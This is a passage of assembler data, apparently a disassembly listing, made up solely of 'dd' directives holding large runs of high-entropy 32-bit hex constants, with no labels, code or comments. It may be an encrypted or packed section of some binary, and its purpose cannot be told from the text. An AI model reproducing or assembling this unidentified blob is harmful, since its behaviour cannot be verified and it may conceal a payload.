		dd 4D654C5Fh, 7A5429C7h, 0E3992850h, 0CA47559Ch, 168DCEECh
		dd 0BE44063Ah, 0F394E20h, 0E9213FD5h, 11CDB5AAh, 4EB8FA8Bh
		dd 4206CBBAh, 60EB4F5Bh, 7AC26890h, 0CA82A91h, 284F9220h
		dd 4E8FE7C0h, 2A99E1AFh, 6F0639FEh, 954453D9h, 0F0149BFDh
		dd 0EBA5A723h, 74312B87h, 0CB3F0187h, 564A3C88h, 0DF277B1Bh
		dd 0E793F5FAh, 390B21A7h, 340FF84Bh, 0E7011CDCh, 0F7805A58h
		dd 411D8820h, 9BF96AE3h, 0F340DA13h, 791B0EEBh,	68250702h
		dd 0E07537D2h, 0F5A62A6h, 0E781515Bh, 132F85h, 0DC9CFC0h
		dd 0E9100FC6h, 0BA0080E8h, 72F933B0h, 20585C68h, 7CFD44Fh
		dd 14824BAFh, 8487FBE0h, 2F48B899h, 0AC8959CEh,	0E828800h
		dd 0D5F2514Fh, 8807690h, 0D895DD29h, 8BA220E4h,	0FD165F5Ah
		dd 0B109DE85h, 9FC5D0DFh, 1A50E75Eh, 0ACBDB42Fh, 278A0B61h
		dd 0DD27355Eh, 3F2AD991h, 244878A4h, 8FF6FEA1h,	0B270BCE3h
		dd 0B0DC7759h, 0B702E978h, 0C5F50342h, 0D02D016Ah, 303F0C73h
		dd 0BF3C0589h, 0E7F3E7Dh, 7204D569h, 791061F8h,	50B800A9h
		dd 0D3FC946h, 6E3A172Ch, 0E5BB1D1Fh, 844F1879h,	90D182D8h
		dd 5F686CFDh, 53E8BEC9h, 6FBB54C3h, 0AAA5B197h,	0B4DD28BBh
		dd 62F5E46Bh, 0D4FC5FF0h, 9EC2DA20h, 0C6FEA0B7h, 0D2785BCAh
		dd 0D8F5ED4Eh, 44682F35h, 9682987Dh, 6FE42671h,	73A400ADh
		dd 2DE94F70h, 15313E41h, 0EFA5292Ch, 0BD617F5h,	2D1E94D5h
		dd 79093CE9h, 123EE77Fh, 0C5051F42h, 0E34C9C68h, 72260099h
		dd 21E9038Bh, 0FEFE5AB7h, 8ABA1534h, 642D5982h,	0A8D1306Ch
		dd 3A395F34h, 123AF84h,	30CBABEh, 0BE6D120h, 7DB4174Fh
		dd 67782780h, 0EEF874C4h, 79015809h, 0E9D14025h, 4037BE2Fh
		dd 0ACBB0CF7h, 5F5FEB90h, 0D31137F3h, 0AC1C303Bh, 2E6A22BAh
		dd 3B4F0831h, 67AA2FC1h, 42CFD261h, 704B6054h, 967D970Bh
		dd 0B2E92D29h, 0DCE57AC9h, 0B41180h, 810FD882h,	55B0C9D3h
		dd 9705BBFCh, 57837371h, 0EB6CC780h, 27B9F644h,	0CB4602C1h
		dd 5DE1F62Fh, 6709FA2h,	2D70C7D7h, 0AD1AB055h, 7BEA2042h
		dd 8A2EBF0h, 0F77A24D4h, 8D21FB0h, 0C27293B7h, 511F84Ch
		dd 127F36BEh, 0DFF0EB2Eh, 0AADC2784h, 805824D4h, 0CBFE42FBh
		dd 55F210AEh, 86B9D5Eh,	3FB3C9F4h, 0B1CB2E2h, 94FD2D74h
		dd 0B4C35EAFh, 265BE9CDh, 38EAC013h, 9370E909h,	0ECB09C92h
		dd 9968680h, 4FFC2978h,	1C9BC890h, 68D7898Bh, 9A66E3E4h
		dd 4A70EB07h, 445B4184h, 68B58086h, 95910FDAh, 4D4E9DA8h
		dd 75A66330h, 3C186551h, 82DE3735h, 890494Dh, 8CC4D810h
		dd 0A69DD531h, 29FBA0DEh, 1F0805D8h, 12492F59h,	0FB6BDADh
		dd 8A6311E6h, 4D028015h, 0E80F273Fh, 0B7F6E903h, 0BE8F5E04h
		dd 409F5060h, 97707ACh,	8AF1E9D0h, 5974A13h, 0C86EF6h
		dd 38E3CAABh, 1DB040A3h, 0E547900Ah, 6B38F473h,	655FD9h
		dd 0F305546Ah, 83BE0B4Ah, 0E9B05885h, 44D39C63h, 5CA528EEh
		dd 724B74BFh, 0AA206B44h, 0E7585A2Dh, 3DEBD231h, 504B8CE4h
		dd 0BB94454h, 7CFC0273h, 6168A755h, 1F433303h, 79F958BCh
		dd 2190094Bh, 0AF5D1882h, 59CF2800h, 5BFD0688h,	601E580h
		dd 0B050B21Eh, 0C816772Ch, 2E1CCDF6h, 1E5D271Bh, 0C4CC95EFh
		dd 9CAE5D4Fh, 51615788h, 7685E904h, 0B9101469h,	7EF87F88h
		dd 0BB00A4B4h, 31042F17h, 24A2B553h, 58036E44h,	875CE368h
		dd 5D0F0909h, 7E5A43B9h, 5221703Ch, 0BC9712D0h,	136E8E27h
		dd 0ED927B67h, 274FEB21h, 0EEA0E10Ch, 187A1ED2h, 95F9C3BFh
		dd 0C5210816h, 0D72D13FCh, 7917AF5Ah, 180BA2BCh, 4F04338Ah
		dd 0E78AEBD4h, 0AFD7CA12h, 0EA3B7B8Bh, 0E2F4A85Eh, 7702CA6Fh
		dd 940A1215h, 2BE2EB78h, 0CFF35735h, 9D61E982h,	5A71FCFEh
		dd 73583B80h, 0C1246929h, 8939B9E1h, 0F46606CEh, 95D4227Ah
		dd 84D0DE4Ah, 18E0FB9Fh, 0C6815302h, 0C1253609h, 9A590331h
		dd 0DD62826Ah, 0FE296140h, 0B801298h, 17A2BB53h, 0C7B84055h
		dd 883EE3FEh, 41EC56D3h, 727767Dh, 28A2D724h, 7409DD84h
		dd 7C34E77Ch, 0E19705B4h, 0BD7E5C0Bh, 0D7689A59h, 0C50BBC5Bh
		dd 97BBD7A3h, 0E17031DAh, 0B0C7FE3Bh, 696825F2h, 0DFCCB73Dh
		dd 163FC8C0h, 58C144EBh, 4610F1E3h, 0D25947h, 68505356h
		dd 9345290h, 0FC29E962h, 0D283DAD9h, 0EB4B375Eh, 5D3B580Bh
		dd 0E9B92335h, 954E1025h, 12AF6624h, 5AF4B8FDh,	0D2E629AEh
		dd 0EF6896E8h, 3331414Ah, 0B001023Ah, 58C3C047h, 0A0EB8012h
		dd 0EBDB53EFh, 9B978344h, 7604FB16h, 0BE130F43h, 8534B9A3h
		dd 92B4FB25h, 0F8FB735h, 0F71D77CDh, 602A2D18h,	736BA1Ah
		dd 811BDD12h, 3B5861E2h, 0EB003F4Bh, 0B191031h,	8CE92750h
		dd 0F45D4C42h, 0F753C23Ah, 763AD79h, 357B139Ch,	0C451E855h
		dd 1CA3AB20h, 4FA6CA4Bh, 0EFA831EBh, 541E415Dh,	7B8E3BBEh
		dd 3F515E2Eh, 500B184Ah, 170662EDh, 0CD2907F4h,	0F40882B8h
		dd 0C254898Ch, 0BF04CA44h, 3762BC5Ah, 0E1FF39C5h, 4A0470A9h
		dd 0AF8C035Eh, 0A162BDFAh, 594C8E4Eh, 82BE10BFh, 8410B777h
		dd 3BA0CD31h, 0C5D6EDB7h, 0FF2BD4AAh, 0D78C5F16h, 3BB8678Ah
		dd 0ED125CAh, 0BF9387FCh, 0CCAB3C17h, 9A6189F1h, 0B168523Ch
		dd 0D625C29Eh, 0AB875257h, 0E24E1D8Eh, 99AAD384h, 15C96438h
		dd 26681740h, 6C681DECh, 0E0404EEEh, 5BB8FEFDh,	4B6E9B2Fh
		dd 0B05AC1CAh, 0F59849DBh, 7A85BF00h, 0D7315A1Ch, 9451EDE9h
		dd 0E07E5B54h, 10DDC911h, 389268DEh, 172294CCh,	0EC43A675h
		dd 21ADADFh, 0C4AF80C2h, 74BD5A87h, 842D8466h, 0F7B8AAC6h
		dd 30B734A8h, 31C8B91Ah, 0DC46EF71h, 91BB03FCh,	0C0709343h
		dd 47CF2E3h, 9668704Bh,	5A4B309h, 64201434h, 756900EFh
		dd 8B0F3D31h, 66EDEB27h, 5FDA2215h, 0B9AC304Eh,	2663AE4Eh
		dd 9546968Ah, 0FFE9F0A1h, 1EB33B6Eh, 7AD4A193h,	0C113988Fh
		dd 84F0F8E9h, 5AD1A285h, 0F2073C90h, 0F561453h,	0D729882h
		dd 0A5F14346h, 62A4F5A4h, 6FFEB1C3h, 0BD5CB0FFh, 6E2B1271h
		dd 1CCF0E3Ah, 800D8525h, 5A5623DCh, 7E29193Bh, 5D08C350h
		dd 0C57E049Fh, 80021BACh, 0D6F626CEh, 0D9CE060h, 0B1800391h
		dd 0E9CC888Dh, 70BC5A51h, 29576802h, 64CE6BDh, 1F3070A4h
		dd 4BE6825Bh, 7676D62Fh, 0C955176Dh, 0D39230A0h, 4A215F16h
		dd 82250BBh, 5B7BE909h,	0D93A3B77h, 0E62A01AFh,	195C5925h
		dd 0ED2F5A28h, 0B4CE977Bh, 0D107A125h, 36DE8079h, 6B68E535h
		dd 0E0D10021h, 512DD8F7h, 9638A66Ah, 848ED901h,	13B61131h
		dd 679C9019h, 0B53320F2h, 0A32D019Fh, 0A3703356h, 5013BE8h
		dd 4DD8380Eh, 825495A0h, 7F010D44h, 0E94C962Ch,	9A64154Bh
		dd 885A48D3h, 56BF0320h, 0B5D0EB1Bh, 3F893095h,	2546B198h
		dd 583BDA01h, 17C92067h, 25681E40h, 929837F5h, 852C7E33h
		dd 5226466Ah, 0C659ED0Ch, 68491802h, 631F0C06h,	12C4EF8h
		dd 3A27B5FAh, 896DD965h, 5EAB64E9h, 0F7030501h,	318540D3h
		dd 6B0C2722h, 2071D5E9h, 0FA744A29h, 4C685D60h,	6249C41Ah
		dd 0C5DDAB9Dh, 0E24B0322h
		dd 0E9C806C6h, 6FDFA77Ch, 0EB4E8974h, 0B42A671Bh, 0D8B7997Fh
		dd 7AB22018h, 125EFE48h, 0EEF80F28h, 0EE957493h, 0F95F3FA6h
		dd 0B67D86D1h, 8954B73Bh, 13785F08h, 59B0EE2Dh,	8F759F05h
		dd 0B4EE5363h, 0F1EC46Dh, 0D6A725D5h, 0BF688535h, 83CD3719h
		dd 692E1023h, 0F846699h, 0B9E1C38Ah, 613D9C7Ah,	0BE3AED41h
		dd 732D0929h, 0D8EA4B75h, 0C1B4F5EBh, 42AFDE6Bh, 68543113h
		dd 5F818E62h, 3B62E0D9h, 0B55100D5h, 0F502804Bh, 66DDF632h
		dd 0DF37C268h, 3730B1C4h, 305B1828h, 17597DEBh,	0EE6EB450h
		dd 7A819485h, 0CB104E10h, 0D91D02D1h, 0E0C80F54h, 98FDAF04h
		dd 9DDC8A20h, 0AC8CFA7Eh, 0EEE6B7ADh, 830C5CD2h, 106FE2D7h
		dd 572BDF83h, 81D83FE7h, 13090B2Dh, 2F0F2459h, 270931A6h
		dd 16FDFEBCh, 5362C0D1h, 416C6668h, 1028765Ch, 4872E0A5h
		dd 3F008109h, 511775Dh,	962833E2h, 0A227E87Dh, 5E10FD46h
		dd 0EE9219CFh, 0CE88FB00h, 0D3E9DF31h, 0BAFE49D6h, 19FA3389h
		dd 9CF145B2h, 5603DDFh,	0E857E1B9h, 84AD8077h, 7F634671h
		dd 8256580Ch, 59AE000Eh, 5380750Ah, 0B7977636h,	527F4858h
		dd 4C96CC30h, 70198DBAh, 2514BA22h, 1BF45D3Dh, 391C5772h
		dd 0B95BF09Fh, 68574121h, 78A67E01h, 28462E00h,	71B0BF19h
		dd 0E97DEB09h, 1247DAD0h, 277B5D68h, 49BCD22Ah,	38887DDCh
		dd 2D2B2C93h, 0CA060A77h, 2730E108h, 0D9C201FCh, 0C2178005h
		dd 0D2F77BBAh, 4241EAFBh, 6FDE30B3h, 0BF31BB2Bh, 0CD2EC2C8h
		dd 0A7B0E463h, 0F80C94B5h, 0BE0FC04Dh, 6D1938A8h, 46DEF712h
		dd 0F308D8B4h, 12017CD0h, 0F126E9F5h, 1EED7FCEh, 6320EED4h
		dd 6455A5Ch, 7EA66E57h,	84AE5B64h, 0FFC1AF1Ch, 0E89BACFh
		dd 0FA10D901h, 0D183D804h, 0BA2A05E8h, 5765F71Dh, 7455016Ah
		dd 0C355A50Bh, 0B0AED4FAh, 3CB85DF6h, 0DF2DC77Ah, 923FF410h
		dd 30148077h, 0DDE658C3h, 0F96B6DF4h, 0FFA0FD14h, 2C134854h
		dd 17F56495h, 0C08542B0h, 2D54A8CDh, 332A2260h,	95D3446Bh
		dd 0E92F2F50h, 0B1BC4BDEh, 0D03BAF9Fh, 2938E51Eh, 0D92D0B02h
		dd 5D09D140h, 41EF6560h, 0AF6A0228h, 0D0365763h, 0C5F51D52h
		dd 1D8BBC58h, 385FFEDCh, 0BA34BCC8h, 6BE4209Dh,	32E77B9Dh
		dd 5F0BC08Ch, 0B3687981h, 80AF285Fh, 7CE5BF57h,	81760436h
		dd 0C44B75E7h, 0A9D8C089h, 4740582Fh, 80E0402Bh, 0A99AF62Eh
		dd 0C6890E1Dh, 9B8F5DECh, 6D82EF8Bh, 717DF4B3h,	865CA35h
		dd 9C240519h, 0C4808E00h, 76B75370h, 0D0E73340h, 0C7E01806h
		dd 0FC2620EAh, 0D427B25Bh, 2D4ADECh, 65383A0Ch,	31400FEDh
		dd 0F66157Fh, 5F4EE8B6h, 0B39EB7B0h, 88963C14h,	896C408Ah
		dd 1DC5CB9h, 0CD50C362h, 48F7C4D7h, 25134A08h, 9E9AACB5h
		dd 487F9C09h, 27543661h, 5D706050h, 9C011E4Fh, 9706E7C1h
		dd 6F5DBA3Ah, 8316A2A8h, 94E087A3h, 495C4B67h, 402DDFF2h
		dd 0F03EDEh, 6FD28193h,	48B9A093h, 0E85AD013h, 0F6BEE425h
		dd 4E70D6B6h, 0B7DA31E9h, 58138759h, 0D9AF6BC5h, 0C2B87D1Eh
		dd 0D9B4F9E9h, 0F0123CEBh, 0D0D74997h, 95016854h, 0C731AAC4h
		dd 25E91620h, 2420B545h, 0DAB0396h, 5F240794h, 4423903h
		dd 0EAC5F850h, 624E066Eh, 56DF11E9h, 0ADC6812h,	4DFCCABh
		dd 0C664911h, 44C1E100h, 8B0F762Eh, 0B5C1B4Dh, 0CEF4A0E9h
		dd 0FE78BFC5h, 0A7671D00h, 5AEB053Ch, 355604E3h, 81E22D42h
		dd 7A28DABh, 0EF7E78A0h, 0CEFFF53Fh, 65702757h,	0F8D7E112h
		dd 7800BD97h, 0E91E4014h, 0D284B44Ah, 586505C1h, 5279F7C2h
		dd 519A6BE2h, 8E22408h,	0BB009961h, 9D289615h, 0B6519831h
		dd 0D6513B6Eh, 0A446E82Eh, 1A3D5C0h, 217C6105h,	7CC78CE9h
		dd 20639482h, 35E8CBAFh, 82754BA9h, 95DECCAh, 5A69D077h
		dd 20E88794h, 0B65266CBh, 0F376ED70h, 0BAF85A4Ah, 184C0E69h
		dd 8452804Fh, 0EC4EA5FBh, 0EEF7E6D8h, 0EE402BD9h, 17253E74h
		dd 0AAFE0131h, 1CB8FACCh, 0EE2A3A5Bh, 1E8F8422h, 0A3AA1201h
		dd 0BD6D1EE2h, 0FB4ACE3h, 4E2B2269h, 634CAE80h,	43671F3Ah
		dd 8CBF291Ah, 3F1D0C51h, 2660114Dh, 0B49DD477h,	0F8D88B97h
		dd 86FEBF68h, 2A35F303h, 0FCAA68A9h, 0FD1709DDh, 2878EC5Ah
		dd 2E9D98F6h, 222F239Ch, 0B0E3B071h, 3492F48h, 24B070F1h
		dd 16576EF0h, 0BCDD3150h, 2B1924Eh, 9E144830h, 61BA0138h
		dd 3B6D5A17h, 18898891h, 0E10AF04h, 42B74AC2h, 45DDAA96h
		dd 9FB4E430h, 0C4A00BC4h, 262D08B7h, 73167010h,	469B0B81h
		dd 0D3F61A90h, 9F1C406Bh, 0DB0FC1FCh, 6A298C0Fh, 0B9BEFB84h
		dd 981896D7h, 0B0EE8828h, 206F1C2Ch, 0DFF7C547h, 7E2F804Fh
		dd 2A4A1326h, 417713E4h, 99C107A0h, 13E01E84h, 0F9D81AEh
		dd 0BFD9D18Ah, 0D35A986Eh, 0C929170Bh, 16665228h, 52C576BFh
		dd 0C2B0E8FFh, 0B96FE11Fh, 29FCD823h, 0B775504Eh, 65A7636Ch
		dd 24AD90F9h, 0A65880BCh, 434E0775h, 3018C9AEh,	7A41B68Eh
		dd 0B7168E01h, 651C1E34h, 0C58F0BDFh, 0A7DCB871h, 0D916E382h
		dd 99738DECh, 62EE2A2Ah, 0AF261434h, 3C8B2595h,	43ABC5F5h
		dd 4E0E64A3h, 160C2CB9h, 89CA0B0Fh, 5A1658DCh, 9AB4A258h
		dd 0F7785F07h, 0DC301002h, 0FED7E954h, 26F32DE9h, 214D3198h
		dd 445E5AF0h, 45A51604h, 32BB7BA8h, 71585892h, 0E57B74BDh
		dd 0FE8AEF47h, 0BE9FC44Eh, 9B8B51E8h, 0C98171FEh, 0BFA690Ah
		dd 39DBE0DBh, 0A0095E37h, 0F41D0543h, 2D415423h, 3D1422ABh
		dd 126E846Bh, 12221107h, 698B884Ah, 3868F140h, 0FE4E603Dh
		dd 0EA5ACB8Eh, 0AFD64E21h, 0D6064703h, 2C4F3F44h, 0F553090Ch
		dd 0AA7443E5h, 25B7E941h, 0EECEE924h, 0F07A9D90h, 0BE5AD701h
		dd 0AE36F1C0h, 9D5F4470h, 0DB058C80h, 4C2EFB41h, 6858AD52h
		dd 96380B5Fh, 647F5E43h, 0E00F2C27h, 73766B08h,	3FC1562h
		dd 4B0009E8h, 633CF005h, 11DF768h, 0B70F846Ah, 0A0605AFAh
		dd 805FEB0Ah, 61F8C144h, 70AC14C2h, 0DAB801BEh,	0B91DBC17h
		dd 1C7F3CFFh, 3280FB8Bh, 4283F681h, 0E90518B7h,	877E430Ch
		dd 82001FECh, 5C9614E5h, 0B0A628FDh, 0D2300314h, 5E94074h
		dd 6B952F07h, 4E1C75B6h, 581803D1h, 6656F846h, 3D5EC8C8h
		dd 57028F27h, 8EF5440Bh, 5F15E76Ah, 850F4910h, 434DDF13h
		dd 37E9DA8Bh, 4CAD113Ch, 0ED5E007Bh, 0FF261D9Bh, 0C039B0D6h
		dd 4EE59C21h, 2E00DC87h, 0E8BC068Ch, 1093ED9h, 0EAA7F8EBh
		dd 3487E975h, 100D699h,	9EC951B0h, 0F02497DCh, 54DA05F6h
		dd 802DAA34h, 82837A93h, 0E2898800h, 463762A7h,	69BF0030h
		dd 1E0466ADh, 6C004383h, 61324234h, 7CACB157h, 826F000Dh
		dd 4E47366Bh, 67185C64h, 0A951046Eh, 5804A77Bh,	8A60E692h
		dd 0E72C6B10h, 0EB8703B7h, 0DDF9D73Fh, 0B1CF4380h, 3592B300h
		dd 6AABF511h, 29E56432h, 0CCC7211Bh, 72101112h,	82789EBh
		dd 0DD3445Dh, 0D80E2284h, 0A20344h, 0FAE97B13h,	84BB6480h
		dd 0CA51DF1Fh, 0C0BCEECFh, 0FFA8A4ECh, 5EF008Eh, 0E6485BFBh
		dd 0EB0E6420h, 604313D0h, 0F649BD39h, 668400F0h, 91DE0346h
		dd 0B8033ADBh, 0A95440B9h, 80EDA0F3h, 36520372h, 818F9FAAh
		dd 0E50531E8h, 0CC91DB00h, 0F470BECBh, 0D11507F7h, 70DC340Fh
		dd 0FE2D96C7h, 0B1E61A00h, 0E88C2FFFh, 0F23900FAh, 0D3AFD280h
		dd 0E5FC609Eh, 92659A04h, 83C0D1DBh, 1CCB7FCh, 0E7ACC1AFh
		dd 0D5F146F2h, 8ACAE403h, 53EABA00h, 94314A82h,	0A3E0005Eh
		dd 8BF7E3F6h, 6A00AF54h
		dd 0A7E92C19h, 0C7FAA1h, 9C398F9Dh, 65825663h, 68EC030Ah
		dd 5100F0B3h, 394AB6A7h, 0B4B800B1h, 0A1E8644Bh, 8F00569Ah
		dd 0E30EA38Ch, 5B9DF8h,	4B1EB734h, 942B4438h, 0F6515C03h
		dd 0B27901B3h, 24C9E0F9h, 0FFFCF3h, 0B475F57Bh,	0F72143A0h
		dd 8401600h, 0D6C9CE0Ah, 4F7000AAh, 0C32E7FEh, 21C0C4C3h
		dd 9FD065FDh, 64D0029h,	5B492D4Eh, 5D03B4D8h, 0D50D01F4h
		dd 0B07E9BA7h, 19E7082h, 8893325Ah, 0F020910Bh,	7771A9E4h
		dd 0AF00ECF8h, 6D82C921h, 48F9E25Bh, 0F7006864h, 8ECD5EE6h
		dd 1F0048C4h, 2EC5D3D8h, 0FEA0BA3Bh, 8C9000C0h,	0D1B3F203h
		dd 0DD00B717h, 8F40C4CDh, 79FEF2Ch, 0F5D925E5h,	4DE0C02Ah
		dd 1C900232h, 14172F00h, 22060749h, 97B5003Fh, 0B6872B90h
		dd 691CB451h, 49BF9BCEh, 0ADB800ACh, 2E812D61h,	0FA9802EEh
		dd 25974F6h, 0A7073448h, 9BD4CA00h, 1FC50510h, 4C7A00A6h
		dd 0C24FB0B1h, 570093C8h, 7F87240Ah, 96792Ah, 5C8B7213h
		dd 0E9D39F47h, 0FF718D0Eh, 0B60EC08Fh, 1E634124h, 807F7D1Fh
		dd 97BA67ACh, 0D82C1B09h, 0AD13AE91h, 1CB13C00h, 0B8D6D9h
		dd 0CD4D3A29h, 0F8825473h, 4906E6B0h, 8172AAE6h, 92F210h
		dd 0E0E3C65Dh, 6EDB35BEh, 0A8E08563h, 0F10A8084h, 58E8C0F0h
		dd 711034B6h, 285E9F00h, 0B2C12F8Fh, 0F0376004h, 0C695C5CEh
		dd 0C0A13Eh, 1420FC4Dh,	0B7265Eh, 4F4DAA0h, 0A753B6D5h
		dd 0F236B0C3h, 407AB8AEh, 0A02C00A8h, 8CAFF8A5h, 0D903BC8Eh
		dd 76841E38h, 0FD2C0FEh, 462100B5h, 5E209650h, 4A0EB7ACh
		dd 23A4419h, 60BDA962h,	99E5C0h, 0BE51F5F6h, 0CB6C20DFh
		dd 0E2707100h, 3AA05458h, 2A0906ACh, 0E881B3B8h, 912E4A00h
		dd 0A3DFE1D3h, 0ECC3091Dh, 8802F72h, 802B04DBh,	8D50E700h
		dd 88A2E82h, 6CFA4C06h,	0AC077000h, 98525991h, 2747B701h
		dd 37DAE31h, 3F507820h,	60802569h, 0EADE1107h, 0DA012D76h
		dd 1366B733h, 62F03DE4h, 39D200F2h, 0B382B181h,	570058AAh
		dd 52F444D9h, 1FB5E5B2h, 35E470h, 6861EB85h, 5AB0945Ch
		dd 80746A3Ch, 8415B2Ch,	0F85D95h, 0FBDC390Dh, 0CA3BFABh
		dd 0F10052FCh, 0F90373CAh, 97E8EA5h, 0ED8BDFF2h, 0D468080h
		dd 63017C83h, 9915B20Eh, 0C4F47B05h, 0C2211E4Ah, 8B0440B7h
		dd 9F389467h, 0A63921C7h, 6422AEE1h, 3493FE4h, 0CCA3C8A1h
		dd 6BC9A47Eh, 49A6031h,	80FAAB3Eh, 0DCAE4249h, 288660h
		dd 13D44402h, 4B03DA6Fh, 310BD605h, 5C922216h, 3FE06415h
		dd 0D2877779h, 0E3D4B851h, 800084ADh, 0E155CF3Bh, 72A4BAh
		dd 0D6614D1Eh, 8173181Dh, 9986250Eh, 5962E0A1h,	2AEF3040h
		dd 16D871CCh, 3CFC5Bh, 2F53D159h, 0A0EB6CAh, 0A0103822h
		dd 7770F3B7h, 0B0180273h, 24BC5C87h, 0EC0107E0h, 0D6BA630Eh
		dd 21B8E075h, 108C1D9h,	7CFFFDAEh, 0C4AD67A1h, 38138174h
		dd 9021BF52h, 34F802DFh, 217F69D8h, 5C91FC00h, 100788Bh
		dd 2E9ED164h, 0D31432h,	6AA834A4h, 667DB64Fh, 7B003898h
		dd 1231E37Ah, 143CD58h,	923E575Ch, 0FC25266Ch, 11001C44h
		dd 62376787h, 60F0A3h, 433C484Eh, 81B3BB9h, 2165A600h
		dd 396C58AEh, 7C30E1EEh, 40A30073h, 7FA10828h, 93092A1Dh
		dd 0FD3178B6h, 0ECDFCE80h, 0AE002C80h, 6B47C0A5h, 380F9351h
		dd 7448CAC5h, 5F72FF0Eh, 0FCD15119h, 0C2038D5Eh, 9FD9AC68h
		dd 0DC0E88FCh, 0E723002Fh, 0D032B194h, 0C0908772h, 516E0A00h
		dd 631FA192h, 2C8300DCh, 37B4EF32h, 0EB07C59Bh,	4D11A7C3h
		dd 0C8CAEE40h, 35BA24C6h, 0ECC70031h, 0D8121E50h, 0E7047601h
		dd 6B26EF1h, 29109884h,	0C8C092E5h, 0BE75F780h,	0E2E64426h
		dd 0FC37200h, 74FB88F7h, 1107741h, 6D8BB725h, 0C02A5582h
		dd 0F6169585h, 0C10E5F70h, 59E460F0h, 4CA769F1h, 0F300014Eh
		dd 0E53C63CAh, 0DF3D7C61h, 23FF96F4h, 41B32400h, 16C6D173h
		dd 40AD79AFh, 0E4872C0Ch, 9300D069h, 0FA4C6FACh, 0D7D50Fh
		dd 0B709D24Fh, 35C7EE27h, 9DB03D04h, 98C56806h,	32776000h
		dd 6926B1h, 0BA301F6h, 0F90FCFEh, 0AEB9EC3Bh, 0CE078CCCh
		dd 0AD30D593h, 758DBC9h, 1F1E4FFh, 9972C0CBh, 8E07F7E8h
		dd 579B95A6h, 26A23750h, 2B1100A0h, 6913A6Dh, 0F700FD72h
		dd 0B7A455F9h, 0EBA158h, 0DADEC09Dh, 8010374Dh,	0E1E0CE0Eh
		dd 0EE2CC050h, 1539CCh,	0C3DD7994h, 71F4C7BEh, 830F537Fh
		dd 20493CE5h, 6A356EAFh, 84E90F2Eh, 1F20B336h, 0AB18D2DEh
		dd 90A94000h, 0AEFBDDD6h, 0FED3E810h, 16220035h, 0AA4CF655h
		dd 0EB26BF6Ch, 0F7001480h, 0DEB16208h, 3FD3F81Ah, 0C585CFC8h
		dd 8194B845h, 0CDA0E240h, 0EFE3ECC3h, 8012B939h, 38FFA8BAh
		dd 3B0A91B7h, 5081AD17h, 44A786D8h, 5C74202Dh, 2E22209h
		dd 457C8170h, 18877B16h, 0E0FD7172h, 0F23ADE1h,	8FFEAA00h
		dd 4AA02AE5h, 0BC373F41h, 0C0EAD100h, 0F23F1394h, 0ED9C0812h
		dd 0E2C17C07h, 980FE02h, 6D55380h, 30B0982Dh, 0B60E1F7Ah
		dd 0DCB8C073h, 1A40D4AEh, 0E965ABFh, 4966524Dh,	0B833BCE0h
		dd 9E00B5D5h, 5393DA55h, 9221B22Dh, 959C007Ch, 4BB55856h
		dd 0FD01DC60h, 91523C5Eh, 17F0394Ah, 56AF5CE4h,	0A6D92230h
		dd 3600D92Ah, 19F290B6h, 1A3EC13h, 4A8846B5h, 70E4280Eh
		dd 7E00828Fh, 57EA86E6h, 84011Bh, 0B8CECF87h, 4C475192h
		dd 0EB0380C0h, 2FF3A2Dh, 9CCAD06h, 8DC0B3D1h, 160F5A8h
		dd 6F5D9448h, 77CB00F6h, 344266A5h, 31D8119h, 6833992h
		dd 7ABCADDh, 47333630h,	4680003Fh, 0C0A020FBh, 9809D215h
		dd 0AB1262h, 9C5D3F79h,	4A553BEFh, 77BDC809h, 62944880h
		dd 0C6008CB3h, 4FA0D67Bh, 12310609h, 322735h, 74711706h
		dd 1C002BF3h, 3A9648D1h, 0A5AFBEh, 5A6CDD6Eh, 5701E2C0h
		dd 73909060h, 1D66BBh, 7FF62768h, 9F705697h, 7E00FF73h
		dd 16D8E414h, 18740A72h, 88B17651h, 15E0A5EBh, 86C6412h
		dd 7B0026A8h, 9CC24BBCh, 0AC704116h, 6CCE8700h,	66AADD71h
		dd 0EB6E41Bh, 62FD2AE7h, 0B0F8AAh, 2E09DA0Ch, 1603B113h
		dd 467BFE81h, 286FA0F7h, 35E7007Ah, 0E9D35206h,	442EB1AAh
		dd 0D10ABEF9h, 0ED0AF479h, 6D00C085h, 0B20DAFF0h, 0E9220032h
		dd 2546C4C6h, 4FEE9E5Bh, 3E527400h, 211DD1C2h, 7B8A07D7h
		dd 60A6BB70h, 7527CFBAh, 0D104600h, 76A1C220h, 5390A08Bh
		dd 42FF00EEh, 3B849E0h,	0A503D002h, 0E736B75Ah,	9370B75Bh
		dd 3FA63BBCh, 3E00D3B8h, 0B06C5A5Fh, 9905F905h,	90EBC0B5h
		dd 0F8120783h, 0E1E34Ch, 0C40F4DBBh, 480ACAC7h,	64FE3Eh
		dd 0EE9D5E30h, 1F1EC4Eh, 7C7F115Dh, 8F1E4A25h, 0A3F2A429h
		dd 0C37B0610h, 858AD1EBh, 0A1070C28h, 206D9E4Fh, 0FC3AEFB7h
		dd 0F74293Fh, 80421AA4h, 97CF07DEh, 0ABE1001Bh,	0C0DC165Dh
		dd 39600187h, 7A149CB0h, 0DDB537B6h, 43C86018h,	0EA0073B8h
		dd 0DB8DF7A3h, 5E59F0h,	3E4BD93Ah, 0E50AC0Fh, 0E0970D1Dh
		dd 0DBE4BF00h, 73D3CD17h, 612300E1h, 4407C127h,	0EA1CDC86h
		dd 5F0E37B8h, 82F7C0CEh, 0AA1B60h, 13707D0Ch, 92810DE2h
		dd 0AF71B8B0h, 0D3DCB600h, 231637B1h, 1FE6039Ah, 0D51EACF0h
		dd 670E4FE7h, 27A81D00h, 44652FE8h, 48976E68h, 0C12B2440h
		dd 0A2BB0076h, 0BE9F239Dh, 8E003087h, 0F6589677h, 4E1B25h
		dd 0C2EA2AF5h, 0CF9B9D48h, 199C7F0Fh, 807E605Dh, 0F32BCDh
		dd 0CC689889h, 6582FDC2h
		dd 39FA1D02h, 407308AFh, 4F7F836Fh, 9F5840A0h, 7E598CC0h
		dd 13900148h, 840577D3h, 8C02A45h, 519F33h, 84B3AC1Fh
		dd 286703ABh, 0D4F6F700h, 0F604799h, 0E5EF00C0h, 561CBBA1h
		dd 34198D0Bh, 8360863Dh, 0CC6A9Ch, 0AEE4ACEFh, 343B55A6h
		dd 0A4290D0Ah, 0ECC18986h, 1DB62090h, 1049EF1h,	0F2065D56h
		dd 8B211096h, 29378079h, 0E0988E8Dh, 0DBC77800h, 56B1B202h
		dd 76080036h, 86C6E74Ch, 606CC801h, 285839h, 0BCDD8B38h
		dd 0EC035947h, 0A933F8BAh, 715480ACh, 29400039h, 3AD1FBDFh
		dd 0B700DC9Fh, 0ABF28187h, 3F28D6E2h, 1200B161h, 0A79AA16Bh
